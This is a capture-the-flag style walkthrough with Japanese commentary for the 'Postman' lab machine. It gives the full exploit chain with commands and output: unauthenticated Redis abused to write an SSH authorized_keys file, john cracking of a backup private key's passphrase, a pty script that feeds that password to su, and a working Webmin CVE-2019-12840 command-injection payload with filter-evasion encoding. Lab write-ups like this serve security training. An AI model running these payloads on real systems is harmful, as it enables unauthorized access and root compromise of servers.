nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.2.1

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt  (実際はWebmin)

nmap -sV -sC -p 22,80,6379,10000 10.129.2.1

22/tcp    open  ssh    OpenSSH
80/tcp    open  http   Apache/2.4.29 (Ubuntu)
6379/tcp  open  redis  Redis key-value store 4.0.9
10000/tcp open  http   MiniServ 1.910 (Webmin httpd)

redis-cli -h 10.129.2.1 ping
redis-cli -h 10.129.2.1 info

PONG
redis_version:4.0.9
...
config_file:/etc/redis/redis.conf

redis-cli -h 10.129.2.1 keys '*'

(empty array)

Redisは本来インメモリDB永続化のため、CONFIG SET dir/dbfilenameで
RDBスナップショットの保存先パス・ファイル名を変更し、SAVEコマンドで
現在のメモリ内容をそのファイルに書き出せる。

これを悪用し、
  1. SET コマンドで、値として「正しい形式のSSH公開鍵」を持つキーを作成
  2. CONFIG SET dir で保存先を "/var/lib/redis/.ssh" (redisユーザーの
     ホームディレクトリ内.sshフォルダ) に変更
  3. CONFIG SET dbfilename で保存ファイル名を "authorized_keys" に変更
  4. SAVE を実行

すると、RedisのバイナリなRDB形式のデータの中に、たまたま有効な
SSH公開鍵の行がそのまま含まれる形で "authorized_keys" が書き出され、
**SSHがそれを正規のauthorized_keysとして解釈してログインを許可する**。

# 鍵ペア生成
ssh-keygen -t rsa -b 2048 -f ./postman_redis -N "" -q

# 公開鍵の前後に空行を入れておくとRDBバイナリのゴミと公開鍵本体が
# 明確に分離されて解釈されやすくなる
(echo ""; echo ""; cat postman_redis.pub; echo ""; echo "") > key.txt

# SETコマンドで値としてRedisに書き込む(-xで標準入力から読む)
cat key.txt | redis-cli -h 10.129.2.1 -x set ssh_key

# 保存先ディレクトリとファイル名を変更
redis-cli -h 10.129.2.1 config set dir /var/lib/redis/.ssh
redis-cli -h 10.129.2.1 config set dbfilename authorized_keys

# 保存実行
redis-cli -h 10.129.2.1 save

OK
OK
OK
OK

ssh -i postman_redis -o StrictHostKeyChecking=no redis@10.129.2.1
redis@Postman:~$ ls -la /opt/

-rw-r--r-- 1 root root 1766 ... id_rsa.bak

scp -i postman_redis redis@10.129.2.1:/opt/id_rsa.bak .

ssh2john id_rsa.bak > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
john --show key.hash

id_rsa.bak:computer2008

1 password hash cracked, 0 left

su は標準入力がTTYであることを要求するため、redisシェル内から非対話で
"su Matt"を実行してパスワードを渡すには疑似端末(pty)が必要。
Python の os.forkpty() で子プロセスとしてsuを起動し、親プロセスから
fdにパスワードを書き込む方式で非対話実行する。

import os, time, sys

pid, fd = os.forkpty()
if pid == 0:
    os.execvp('su', ['su', 'Matt', '-c', 'cat /home/Matt/user.txt'])
else:
    time.sleep(1)
    os.write(fd, b'computer2008\n')   # suのパスワードプロンプトへ応答
    time.sleep(1)
    out = b''
    try:
        while True:
            d = os.read(fd, 1024)
            if not d:
                break
            out += d
    except OSError:
        pass
    sys.stdout.write(out.decode('latin-1'))

# 上記Pythonコードをbase64化してワンライナーで実行
echo "<base64エンコードしたコード>" | base64 -d | python3

Password:
26807812c8ef3cd02ff8ba8dccac75f2

# Webminは自己署名証明書のためcurlに -k (証明書検証スキップ) が必要。
# redirect=1; testing=1 クッキーが無いとログインがダッシュボードHTMLを
# 返すだけで本来のセッションとして機能しない(Webminの内部挙動の罠)
curl -sk -c cookies.txt --max-time 15 \
  https://10.129.2.1:10000/session_login.cgi \
  -H "Cookie: redirect=1; testing=1" \
  --data "user=Matt&pass=computer2008"

(出力なし — 302リダイレクト、cookies.txtにセッションIDが保存される)

Webmin 1.890〜1.910の "Software Package Updates" モジュール
(/package-updates/update.cgi) は、更新対象パッケージ名を示す "u" パラメータを
内部で system() 等に渡してパッケージマネージャーコマンドを組み立てる。
このパラメータに対する検証が不十分で、OSコマンドインジェクションが成立する
(CVE-2019-12840)。

**本ターゲット特有の罠**: このWebminの実装では "u" パラメータの値を
"/" で分割・末尾を切り詰める処理が入っている。つまり、ペイロードに
"/"(スラッシュ)を含む通常のパス付きコマンド(例: cat /root/root.txt)を
そのまま渡すと途中で切断されてしまい動作しない。

cmd = "cat /root/root.txt"
hexcmd = cmd.encode().hex()
print(hexcmd)
# → 636174202f726f6f742f726f6f742e747874

# $IFS はシェルの単語分割用変数(デフォルトはスペース/タブ/改行)。
# 直接スペースを含めると "u" パラメータの別の分割処理に引っかかることがあるため
# ${IFS} に置き換えてスペースの代わりに使う
payload = f"u=acl/apt&u=$(echo${{IFS}}{hexcmd}|xxd${{IFS}}-r${{IFS}}-p|sh)"
print(payload)

"u=acl/apt" という1つ目のuパラメータは正規のダミーパッケージ名として
送り、2つ目の "u=$(...)" の方にコマンドインジェクションを仕込む
(同名パラメータを複数渡すHTTPの仕様を利用し、サーバー側の処理次第で
2個目の値が実質的な注入ポイントとして使われる)。

curl -sk -b cookies.txt --max-time 25 \
  https://10.129.2.1:10000/package-updates/update.cgi \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "X-Requested-From: package-updates" \
  -H "Referer: https://10.129.2.1:10000/package-updates/" \
  --data 'u=acl/apt&u=$(echo${IFS}636174202f726f6f742f726f6f742e747874|xxd${IFS}-r${IFS}-p|sh)'

<title>Update Packages - Webmin 1.910 on Postman. (Ubuntu Linux 18.04.3)</title>
...
E: Unable to locate package 08b83fe1523be5b75ae05c6c6a671f2b